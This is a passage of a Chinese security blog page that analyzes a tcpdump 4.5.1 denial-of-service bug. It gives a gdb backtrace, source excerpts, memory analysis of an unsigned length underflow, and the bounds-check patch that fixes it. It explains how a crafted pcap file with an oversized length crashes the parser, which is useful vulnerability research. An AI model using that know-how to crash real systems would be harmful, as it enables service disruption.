"line" > 8. #4 0xb7fa3468 < span class = "keyword" > in< / span > ?? () < span class = "keyword" > from< / span > /usr/lib/i386-linux-gnu/libpcap.so.0.8< / span > < br > < span class = "line" > 9. #5 0xb7f940e3 < span class = "keyword" > in< / span > pcap_loop () < span class = "keyword" > from< / span > /usr/lib/i386-linux-gnu/libpcap.so.0.8< / span > < br > < span class = "line" > 10. #6 0x0804b3dd < span class = "keyword" > in< / span > main (< span class = "attribute" > argc< / span > =0x3, < span class = "attribute" > argv< / span > =0xbffff6c4) at ./tcpdump.c:1569< / span > < br > < span class = "line" > 11. #7 0xb7de9637 < span class = "keyword" > in< / span > __libc_start_main (< span class = "attribute" > main< / span > =0x804a4c0 < main> , < span class = "attribute" > argc< / span > =0x3, < span class = "attribute" > argv< / span > =0xbffff6c4, < span class = "attribute" > init< / span > =0x80b1230 < __libc_csu_init> ,< / span > < br > < span class = "line" > 12. < span class = "attribute" > fini< / span > =0x80b1290 < __libc_csu_fini> , < span class = "attribute" > rtld_fini< / span > =0xb7fea880 < _dl_fini> , < span class = "attribute" > stack_end< / span > =0xbffff6bc) at < span class = "built_in" > ..< / span > /csu/libc-start.c:291< / span > < br > < span class = "line" > 13. #8 0x0804c245 < span class = "keyword" > in< / span > _start ()< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 函数调用流程< br > < figure class = "highlight 1c" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > pcap_loop< / span > < br > < span class = "line" > < span class = "string" > |----print_packet< / span > < / span > < br > < span class = "line" > < span class = "string" > |-----hex_and_ascii_print< / span > < / span > < br > < span class = "line" > < span class = "string" > |-------- hex_and_ascii_print_with_offset< / span > < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 由此可见, 从main函数开始了一连串函数调用, git源码下来看看。< br > tcpdump.c找到pcap_loop调用< br > < figure class = "highlight lsl" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "number" > 1.< / span > do { < / span > < br > < span class = "line" > < span class = "number" > 2.< / span > status = pcap_loop(pd, cnt, callback, pcap_userdata);< / span > < br > < span class = "line" > < span class = "number" > 3.< / span > if (WFileName == NULL) { < / span > < br > < span class = "line" > < span class = "number" > 4.< / span > < span class = "comment" > /*< / span > < / span > < br > < span class = "line" > < span class = "comment" > 5. * We're printing packets. Flush the printed output,< / span > < / span > < br > < span class = "line" > < span class = "comment" > 6. * so it doesn't get intermingled with error output.< / span > < / span > < br > < span class = "line" > < span class = "comment" > 7. */< / span > < / span > < br > < span class = "line" > < span class = "number" > 8.< / span > if (status == < span class = "number" > -2< / span > ) { < / span > < br > < span class = "line" > < span class = "number" > 9.< / span > < span class = "comment" > /*< / span > < / span > < br > < span class = "line" > < span class = "comment" > 10. * We got interrupted, so perhaps we didn't< / span > < / span > < br > < span class = "line" > < span class = "comment" > 11. * manage to finish a line we were printing.< / span > < / span > < br > < span class = "line" > < span class = "comment" > 12. * Print an extra newline, just in case.< / span > < / span > < br > < span class = "line" > < span class = "comment" > 13. */< / span > < / span > < br > < span class = "line" > < span class = "number" > 14.< / span > putchar('n');< / span > < br > < span class = "line" > < span class = "number" > 15.< / span > } < / span > < br > < span class = "line" > < span class = "number" > 16.< / span > (void)fflush(stdout);< / span > < br > < span class = "line" > < span class = "number" > 17.< / span > } < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
2019-07-01 09:29:47 +00:00
< p > 设置断点之后查看一下该函数的执行结果< / p >
2019-07-10 09:03:44 +00:00
< p > pcap_loop通过callback指向print_packet,来看一下它的源码< br > < figure class = "highlight lsl" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "number" > 1.< / span > static void< / span > < br > < span class = "line" > < span class = "number" > 2.< / span > print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp)< / span > < br > < span class = "line" > < span class = "number" > 3.< / span > { < / span > < br > < span class = "line" > < span class = "number" > 4.< / span > struct print_info *print_info;< / span > < br > < span class = "line" > < span class = "number" > 5.< / span > u_int hdrlen;< / span > < br > < span class = "line" > < span class = "number" > 6.< / span > ++packets_captured;< / span > < br > < span class = "line" > < span class = "number" > 7.< / span > ++infodelay;< / span > < br > < span class = "line" > < span class = "number" > 8.< / span > ts_print(& h-> ts);< / span > < br > < span class = "line" > < span class = "number" > 9.< / span > print_info = (struct print_info *)user;< / span > < br > < span class = "line" > < span class = "number" > 10.< / span > < span class = "comment" > /*< / span > < / span > < br > < span class = "line" > < span class = "comment" > 11. * Some printers want to check that they're not walking off the< / span > < / span > < br > < span class = "line" > < span class = "comment" > 12. * end of the packet.< / span > < / span > < br > < span class = "line" > < span class = "comment" > 13. * Rather than pass it all the way down, we set this global.< / span > < / span > < br > < span class = "line" > < span class = "comment" > 14. */< / span > < / span > < br > < span class = "line" > < span class = "number" > 15.< / span > snapend = sp + h-> caplen;< / span > < br > < span class = "line" > < span class = "number" > 16.< / span > if(print_info-> ndo_type) { < / span > < br > < span class = "line" > < span class = "number" > 17.< / span > hdrlen = (*print_info-> p.ndo_printer)(print_info-> ndo, h, sp);< ====< / span > < br > < span class = "line" > < span class = "number" > 18.< / span > } else { < / span > < br > < span class = "line" > < span class = "number" > 19.< / span > hdrlen = (*print_info-> p.printer)(h, sp);< / span > < br > < span class = "line" > < span class = "number" > 20.< / span > } < / span > < br > < span class = "line" > < span class = "number" > 21.< / span > putchar('n');< / span > < br > < span class = "line" > < span class = "number" > 22.< / span > --infodelay;< / span > < br > < span class = "line" > < span class = "number" > 23.< / span > if (infoprint)< / span > < br > < span class = "line" > < span class = "number" > 24.< / span > info(< span class = "number" > 0< / span > );} < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
2019-07-01 09:29:47 +00:00
< p > 同样设置断点看该函数是如何调用执行的< / p >
< p > 这是我们可以根据call的信息, 计算出调用的函数名< / p >
< p > 其中(*print_info-> p.ndo_printer)(print_info-> ndo,h,sp)指向ieee802_15_4_if_print< / p >
2019-07-10 09:03:44 +00:00
< figure class = "highlight cpp" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < span class = "line" > 35< / span > < br > < span class = "line" > 36< / span > < br > < span class = "line" > 37< / span > < br > < span class = "line" > 38< / span > < br > < span class = "line" > 39< / span > < br > < span class = "line" > 40< / span > < br > < span class = "line" > 41< / span > < br > < span class = "line" > 42< / span > < br > < span class = "line" > 43< / span > < br > < span class = "line" > 44< / span > < br > < span class = "line" > 45< / span > < br > < span class = "line" > 46< / span > < br > < span class = "line" > 47< / span > < br > < span class = "line" > 48< / span > < br > < span class = "line" > 49< / span > < br > < span class = "line" > 50< / span > < br > < span class = "line" > 51< / span > < br > < span class = "line" > 52< / span > < br > < span class = "line" > 53< / span > < br > < span class = "line" > 54< / span > < br > < span class = "line" > 55< / span > < br > < span class = "line" > 56< / span > < br > < span class = "line" > 57< / span > < br > < span class = "line" > 58< / span > < br > < span class = "line" > 59< / span > < br > < span class = "line" > 60< / span > < br > < span class = "line" > 61< / span > < br > < span class = "line" > 62< / span > < br > < span class = "line" > 63< / span > < br > < span class = "line" > 64< / span > < br > < span class = "line" > 65< / span > < br > < span class = "line" > 66< / span > < br > < span class = "line" > 67< / span > < br > < span class = "line" > 68< / span > < br > < span class = "line" > 69< / span > < br > < span class = "line" > 70< / span > < br > < span class = "line" > 71< / span > < br > < span class = "line" > 72< / span > < br > < span class = "line" > 73< / span > < br > < span class = "line" > 74< / span > < br > < span class = "line" > 75< / span > < br > < span class = "line" > 76< / span > < br > < span class = "line" > 77< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "number" > 25.< / span > u_int< / span > < br > < span class = "line" > < span class = "number" > 26.< / span > ieee802_15_4_if_print(struct netdissect_options *ndo,< / span > < br > < span class = "line" > < span class = "number" > 27.< / span > < span class = "keyword" > const< / span > struct pcap_pkthdr *h, < span class = "keyword" > const< / span > u_char *p)< / span > < br > < span class = "line" > < span class = "number" > 28.< / span > { < / span > < br > < span class = "line" > < span class = "number" > 29.< / span > < span class = "built_in" > printf< / span > (< span class = "string" > "address : %x\n"< / span > ,p);< / span > < br > < span class = "line" > < span class = "number" > 30.< / span > u_int caplen = h-> caplen; < span class = "comment" > //传入的caplen, 赋值给无符号整形变量caplen,且该值为8< / span > < / span > < br > < span class = "line" > < span class = "number" > 31.< / span > < span class = "keyword" > int< / span > hdrlen;< / span > < br > < span class = "line" > < span class = "number" > 32.< / span > < span class = "keyword" > u_int16_t< / span > fc;< / span > < br > < span class = "line" > < span class = "number" > 33.< / span > < span class = "keyword" > u_int8_t< / span > seq;< / span > < br > < span class = "line" > < span class = "number" > 34.< / span > < span class = "keyword" > if< / span > (caplen < < span class = "number" > 3< / span > ) { < span class = "comment" > //不满足< / span > < / span > < br > < span class = "line" > < span class = "number" > 35.< / span > ND_PRINT((ndo, < span class = "string" > "[|802.15.4] %x"< / span > , caplen));< / span > < br > < span class = "line" > < span class = "number" > 36.< / span > < span class = "keyword" > return< / span > caplen;< / span > < br > < span class = "line" > < span class = "number" > 37.< / span > } <
2019-07-01 09:29:47 +00:00
< p > 传入的第二个值是struct pcap_pkthdr *h结构体, 函数使用的参数caplen就是结构体中的caplen, 不难看出, caplen进行一些加减操作后, 没有判断正负, 直接丢给了下一个函数使用。< br > 直接跟进函数,看看最后赋值情况< / p >
< p > 从源码和调试信息可以看到libpcap在处理不正常包时不严谨, 导致包的头长度hdrlen竟然大于捕获包长度caplen, 并且在处理时又没有相关的判断。hdrlen和caplen都是非负整数, 导致caplen==0xfffffff3过长。< br > 继续跟进hex_and_asciii_print(ndo_default_print)< / p >
2019-07-10 09:03:44 +00:00
< figure class = "highlight lsl" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "number" > 1.< / span > void< / span > < br > < span class = "line" > < span class = "number" > 2.< / span > hex_and_ascii_print(register const char *ident, register const u_char *cp,< / span > < br > < span class = "line" > < span class = "number" > 3.< / span > register u_int length)< / span > < br > < span class = "line" > < span class = "number" > 4.< / span > { < / span > < br > < span class = "line" > < span class = "number" > 5.< / span > hex_and_ascii_print_with_offset(ident, cp, length, < span class = "number" > 0< / span > );< / span > < br > < span class = "line" > < span class = "number" > 6.< / span > } < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > 其中length==< span class = "number" > 0xfffffff3< / span > ,继续执行< / span > < br > < span class = "line" > < span class = "number" > 1.< / span > void< / span > < br > < span class = "line" > < span class = "number" > 2.< / span > hex_print_with_offset(register const char *ident, register const u_char *cp, register u_int length,< / span > < br > < span class = "line" > < span class = "number" > 3.< / span > register u_int oset)< / span > < br > < span class = "line" > < span class = "number" > 4.< / span > { < / span > < br > < span class = "line" > < span class = "number" > 5.< / span > register u_int i, s;< / span > < br > < span class = "line" > < span class = "number" > 6.< / span > register int nshorts;< / span > < br > < span class = "line" > < span class = "number" > 7.< / span > < / span > < br > < span class = "line" > < span class = "number" > 8.< / span > nshorts = (u_int) length / sizeof(u_short);< / span > < br > < span class = "line" > < span class = "number" > 9.< / span > i = < span class = "number" > 0< / span > ;< / span > < br > < span class = "line" > < span class = "number" > 10.< / span > while (--nshorts > = < span class = "number" > 0< / span > ) { < / span > < br > < span class = "line" > < span class = "number" > 11.< / span > if ((i++ % < span class = "number" > 8< / span > ) == < span class = "number" > 0< / span > ) { < / span > < br > < span class = "line" > < span class = "number" > 12.< / span > (void)printf(< span class = "string" > "%s0x%04x: "< / span > , ident, oset);< / span > < br > < span class = "line" > < span class = "number" > 13.< / span > oset += HEXDUMP_BYTES_PER_LINE;< / span > < br > < span class = "line" > < span class = "number" > 14.< / span > } < / span > < br > < span class = "line" > < span class = "number" > 15.< / span > s = *cp++; < ======= 抛出错误位置< / span > < br > < span class = "line" > < span class = "number" > 16.< / span > (void)printf(< span class = "string" > " %02x%02x"< / span > , s, *cp++);< / span > < br > < span class = "line" > < span class = "number" > 17.< / span > } < / span > < br > < span class = "line" > < span class = "number" > 18.< / span > if (length & < span class = "number" > 1< / span > ) { < / span > < br > < span class = "line" > < span class = "number" > 19.< / span > if ((i % < span class = "number" > 8< / span > ) == < span class = "number" > 0< / span > )< / span > < br > < span class = "line" > < span class = "number" > 20.< / span > (void)printf(< span class = "string" > "%s0x%04x: "< / span > , ident, oset);< / span > < br > < span class = "line" > < span class = "number" > 21.< / span > (void)printf(< span class = "string" > " %02x"< / span > , *cp);< / span > < br > < span class = "line" > < span class = "number" > 22.<
2019-07-01 09:29:47 +00:00
< p > 但数据包数据没有这么长, 导致了crash。< / p >
2019-07-10 09:03:44 +00:00
< h3 id = "内存分析" > < a href = "#内存分析" class = "headerlink" title = "内存分析" > < / a > 内存分析< / h3 > < p > 仔细分析之后发现, 通过len判断的这个长度并没有进行控制, 如果是自己构造的一个超长len的数据包, 则会连续读取到不可估计的值。< br > 通过查看epx的值来看一下这个内存到底开辟到什么位置< br > < figure class = "highlight dns" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "number" > 1< / span > . gdb-peda$ x/< span class = "number" > 10000000< / span > x < span class = "number" > 0< / span > x81e33bd< / span > < br > < span class = "line" > < span class = "number" > 2< / span > . < span class = "number" > 0< / span > x8203fdd: < span class = "number" > 0x00000000< / span > < span class = "number" > 0x00000000< / span > < span class = "number" > 0x00000000< / span > < span class = "number" > 0x00000000< / span > < / span > < br > < span class = "line" > < span class = "number" > 3< / span > . < span class = "number" > 0< / span > x8203fed: < span class = "number" > 0x00000000< / span > < span class = "number" > 0x00000000< / span > < span class = "number" > 0x00000000< / span > < span class = "number" > 0x00000000< / span > < / span > < br > < span class = "line" > < span class = "number" > 4< / span > . < span class = "number" > 0< / span > x8203ffd: Cannot access memory at address < span class = "number" > 0x8204000< / span > < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
2019-07-01 09:29:47 +00:00
< p > 可以看到, 到达0x 8204000附近的时候, 就是无法读取的无效地址了, 那么初始值为0x 81e33bd, 用两个值相减。0x 8204000-0x 81e33bd = 0x 20c40, 因为ebx+ebp*2+0x1一次读取两个字节, 那么循环计数器就要除以2, 最后结果为0x 10620。< br > 来看一下到达拒绝服务位置读取的长度: EBX: 0x81e33bd – > 0x0; EBP: 0x10621; < br > EBP刚好为10621。正是不可读取内存空间的地址, 因此造成拒绝服务。< / p >
< h3 id = "漏洞总结" > < a href = "#漏洞总结" class = "headerlink" title = "漏洞总结" > < / a > 漏洞总结< / h3 > < p > 总结一下整个漏洞触发过程, 首先tcpdump会读取恶意构造的pcap包, 在构造pcap包的时候, 设置一个超长的数据包长度, tcpdump会根据len的长度去读取保存在内存空间数据包的内容, 当引用到不可读取内存位置时, 会由于引用不可读指针, 造成拒绝服务漏洞。< / p >
2019-07-10 09:03:44 +00:00
< h2 id = "漏洞修补" > < a href = "#漏洞修补" class = "headerlink" title = "漏洞修补" > < / a > 漏洞修补< / h2 > < p > Libpcap依然是apt安装的默认版本, tcpdump使用4.7 .0-bp版本< br > 在hex_and_ascii_print_with_offset中增加对caplength的判断< br > < figure class = "highlight markdown" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "bullet" > 1. < / span > caplength = (ndo-> ndo< span class = "emphasis" > _snapend > = cp) ? ndo-> ndo_< / span > snapend - cp : 0;< / span > < br > < span class = "line" > < span class = "bullet" > 2. < / span > if (length > caplength)< / span > < br > < span class = "line" > < span class = "bullet" > 3. < / span > length = caplength;< / span > < br > < span class = "line" > < span class = "bullet" > 4. < / span > nshorts = length / sizeof(u_short);< / span > < br > < span class = "line" > < span class = "bullet" > 5. < / span > i = 0;< / span > < br > < span class = "line" > < span class = "bullet" > 6. < / span > hsp = hexstuff; asp = asciistuff;< / span > < br > < span class = "line" > < span class = "bullet" > 7. < / span > while (--nshorts > = 0) { < / span > < br > < span class = "line" > < span class = "bullet" > 8. < / span > ...< / span > < br > < span class = "line" > < span class = "bullet" > 9. < / span > } < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
2019-07-01 09:29:47 +00:00
< p > 可以看到执行完caplength = (ndo-> ndo_snapend > = cp) ? ndo-> ndo_snapend - cp : 0;, caplength为0, 继续执行, 可以推出length同样为0, 到这里已经不会发生错误了。< / p >
< h2 id = "参考" > < a href = "#参考" class = "headerlink" title = "参考" > < / a > 参考< / h2 > < p > < a href = "https://www.exploit-db.com/exploits/39875/" target = "_blank" rel = "noopener" > exploit-db payload< / a > < br > < a href = "https://whereisk0shl.top/post/2016-10-23-1" target = "_blank" rel = "noopener" > WHEREISK0SHL分析博客< / a > < br > < a href = "https://github.com/the-tcpdump-group" target = "_blank" rel = "noopener" > libpcap/tcpdump源码< / a > < / p >
< / div >
< div >
< div style = "padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;" >
< div > 您的支持将鼓励我继续创作!< / div >
< button id = "rewardButton" disable = "enable" onclick = "var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}" >
< span > 打赏< / span >
< / button >
< div id = "QR" style = "display: none;" >
< div id = "wechat" style = "display: inline-block" >
< img id = "wechat_qr" src = "/images/Wechatpay.png" alt = "Cool-Y 微信支付" >
< p > 微信支付< / p >
< / div >
< div id = "alipay" style = "display: inline-block" >
< img id = "alipay_qr" src = "/images/Alipay.png" alt = "Cool-Y 支付宝" >
< p > 支付宝< / p >
< / div >
< / div >
< / div >
< / div >
< footer class = "post-footer" >
< div class = "post-tags" >
< a href = "/tags/TCPDUMP/" rel = "tag" > # TCPDUMP< / a >
< a href = "/tags/拒绝服务攻击/" rel = "tag" > # 拒绝服务攻击< / a >
< / div >
< div class = "post-nav" >
< div class = "post-nav-next post-nav-item" >
< a href = "/2018/12/23/基于规则引擎发现IOT设备/" rel = "next" title = "基于采集规则引擎的物联网设备发现方法" >
< i class = "fa fa-chevron-left" > < / i > 基于采集规则引擎的物联网设备发现方法
< / a >
< / div >
< span class = "post-nav-divider" > < / span >
< div class = "post-nav-prev post-nav-item" >
< a href = "/2019/01/16/wifi半双工侧信道攻击学习笔记/" rel = "prev" title = "wifi半双工侧信道攻击学习笔记" >
wifi半双工侧信道攻击学习笔记 < i class = "fa fa-chevron-right" > < / i >
< / a >
< / div >
< / div >
< / footer >
< / div >
< / article >
< div class = "post-spread" >
< / div >
< / div >
< / div >
< div class = "comments" id = "comments" >
< div id = "gitment-container" > < / div >
< / div >
< / div >
< div class = "sidebar-toggle" >
< div class = "sidebar-toggle-line-wrap" >
< span class = "sidebar-toggle-line sidebar-toggle-line-first" > < / span >
< span class = "sidebar-toggle-line sidebar-toggle-line-middle" > < / span >
< span class = "sidebar-toggle-line sidebar-toggle-line-last" > < / span >
< / div >
< / div >
< aside id = "sidebar" class = "sidebar" >
< div class = "sidebar-inner" >
< ul class = "sidebar-nav motion-element" >
< li class = "sidebar-nav-toc sidebar-nav-active" data-target = "post-toc-wrap" >
文章目录
< / li >
< li class = "sidebar-nav-overview" data-target = "site-overview-wrap" >
站点概览
< / li >
< / ul >
< section class = "site-overview-wrap sidebar-panel" >
< div class = "site-overview" >
< div class = "site-author motion-element" itemprop = "author" itemscope itemtype = "http://schema.org/Person" >
< img class = "site-author-image" itemprop = "image" src = "/images/avatar.png" alt = "Cool-Y" >
< p class = "site-author-name" itemprop = "name" > Cool-Y< / p >
< p class = "site-description motion-element" itemprop = "description" > < / p >
< / div >
< nav class = "site-state motion-element" >
< div class = "site-state-item site-state-posts" >
< a href = "/archives/" >
2019-07-10 09:03:44 +00:00
< span class = "site-state-item-count" > 18< / span >
2019-07-01 09:29:47 +00:00
< span class = "site-state-item-name" > 日志< / span >
< / a >
< / div >
< div class = "site-state-item site-state-categories" >
< a href = "/categories/index.html" >
< span class = "site-state-item-count" > 6< / span >
< span class = "site-state-item-name" > 分类< / span >
< / a >
< / div >
< div class = "site-state-item site-state-tags" >
< a href = "/tags/index.html" >
2019-07-10 09:03:44 +00:00
< span class = "site-state-item-count" > 36< / span >
2019-07-01 09:29:47 +00:00
< span class = "site-state-item-name" > 标签< / span >
< / a >
< / div >
< / nav >
< div class = "links-of-author motion-element" >
< span class = "links-of-author-item" >
< a href = "https://github.com/Cool-Y" target = "_blank" title = "GitHub" >
< i class = "fa fa-fw fa-github" > < / i > GitHub< / a >
< / span >
< span class = "links-of-author-item" >
< a href = "mailto:cool.yim@whu.edu.cn" target = "_blank" title = "E-Mail" >
< i class = "fa fa-fw fa-envelope" > < / i > E-Mail< / a >
< / span >
< span class = "links-of-author-item" >
< a href = "https://www.instagram.com/yan__han/" target = "_blank" title = "Instagram" >
< i class = "fa fa-fw fa-instagram" > < / i > Instagram< / a >
< / span >
< / div >
< / div >
< / section >
<!-- noindex -->
< section class = "post-toc-wrap motion-element sidebar-panel sidebar-panel-active" >
< div class = "post-toc" >
2019-07-01 11:52:45 +00:00
< div class = "post-toc-content" > < ol class = "nav" > < li class = "nav-item nav-level-1" > < a class = "nav-link" href = "#TCPDUMP-4-5-1-拒绝服务攻击漏洞分析" > < span class = "nav-text" > TCPDUMP 4.5.1 拒绝服务攻击漏洞分析< / span > < / a > < ol class = "nav-child" > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#Tcpdump介绍" > < span class = "nav-text" > Tcpdump介绍< / span > < / a > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#分析环境" > < span class = "nav-text" > 分析环境< / span > < / a > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#漏洞复现" > < span class = "nav-text" > 漏洞复现< / span > < / a > < ol class = "nav-child" > < li class = "nav-item nav-level-3" > < a class = "nav-link" href = "#编译安装tcpdump" > < span class = "nav-text" > 编译安装tcpdump< / span > < / a > < / li > < li class = "nav-item nav-level-3" > < a class = "nav-link" href = "#生成payload( 来自exploit-db-payload) " > < span class = "nav-text" > 生成payload( 来自exploit-db payload) < / span > < / a > < / li > < / ol > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#崩溃分析" > < span class = "nav-text" > 崩溃分析< / span > < / a > < ol class = "nav-child" > < li class = "nav-item nav-level-3" > < a class = "nav-link" href = "#pcap包格式" > < span class = "nav-text" > pcap包格式< / span > < / a > < / li > < li class = "nav-item nav-level-3" > < a class = "nav-link" href = "#gdb调试" > < span class = "nav-text" > gdb调试< / span > < / a > < / li > < li class = "nav-item nav-level-3" > < a class = "nav-link" href = "#内存分析" > < span class = "nav-text" > 内存分析< / span > < / a > < / li > < li class = "nav-item nav-level-3" > < a class = "nav-link" href = "#漏洞总结" > < span class = "nav-text" > 漏洞总结< / span > < / a > < / li > < / ol > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#漏洞修补" > < span class = "nav-text" > 漏洞修补< / span > < / a > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#参考" > < span class = "nav-text" > 参考< / span > < / a > < / li > < / ol > < / li > < / ol > < / div >
2019-07-01 09:29:47 +00:00
< / div >
< / section >
<!-- /noindex -->
< / div >
< / aside >
< / div >
< / main >
< footer id = "footer" class = "footer" >
< div class = "footer-inner" >
< div class = "copyright" > © < span itemprop = "copyrightYear" > 2019< / span >
< span class = "with-love" >
< i class = "fa fa-user" > < / i >
< / span >
< span class = "author" itemprop = "copyrightHolder" > Cool-Y< / span >
< span class = "post-meta-divider" > |< / span >
< span class = "post-meta-item-icon" >
< i class = "fa fa-area-chart" > < / i >
< / span >
2019-07-10 09:03:44 +00:00
< span title = "Site words total count" > 49.9k< / span >
2019-07-01 09:29:47 +00:00
< / div >
< div class = "powered-by" > 由 < a class = "theme-link" target = "_blank" href = "https://hexo.io" > Hexo< / a > 强力驱动< / div >
< div class = "busuanzi-count" >
< script async src = "//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js" > < / script >
< span class = "site-uv" >
< i class = "fa fa-user" > < / i >
< span class = "busuanzi-value" id = "busuanzi_value_site_uv" > < / span >
< / span >
< span class = "site-pv" >
< i class = "fa fa-eye" > < / i >
< span class = "busuanzi-value" id = "busuanzi_value_site_pv" > < / span >
< / span >
< / div >
< / div >
< / footer >
< div class = "back-to-top" >
< i class = "fa fa-arrow-up" > < / i >
< / div >
< / div >
< script type = "text/javascript" >
if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
window.Promise = null;
}
< / script >
< script type = "text/javascript" src = "/lib/jquery/index.js?v=2.1.3" > < / script >
< script type = "text/javascript" src = "/lib/fastclick/lib/fastclick.min.js?v=1.0.6" > < / script >
< script type = "text/javascript" src = "/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7" > < / script >
< script type = "text/javascript" src = "/lib/velocity/velocity.min.js?v=1.2.1" > < / script >
< script type = "text/javascript" src = "/lib/velocity/velocity.ui.min.js?v=1.2.1" > < / script >
< script type = "text/javascript" src = "/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5" > < / script >
< script type = "text/javascript" src = "/js/src/utils.js?v=5.1.4" > < / script >
< script type = "text/javascript" src = "/js/src/motion.js?v=5.1.4" > < / script >
< script type = "text/javascript" src = "/js/src/affix.js?v=5.1.4" > < / script >
< script type = "text/javascript" src = "/js/src/schemes/pisces.js?v=5.1.4" > < / script >
< script type = "text/javascript" src = "/js/src/scrollspy.js?v=5.1.4" > < / script >
< script type = "text/javascript" src = "/js/src/post-details.js?v=5.1.4" > < / script >
< script type = "text/javascript" src = "/js/src/bootstrap.js?v=5.1.4" > < / script >
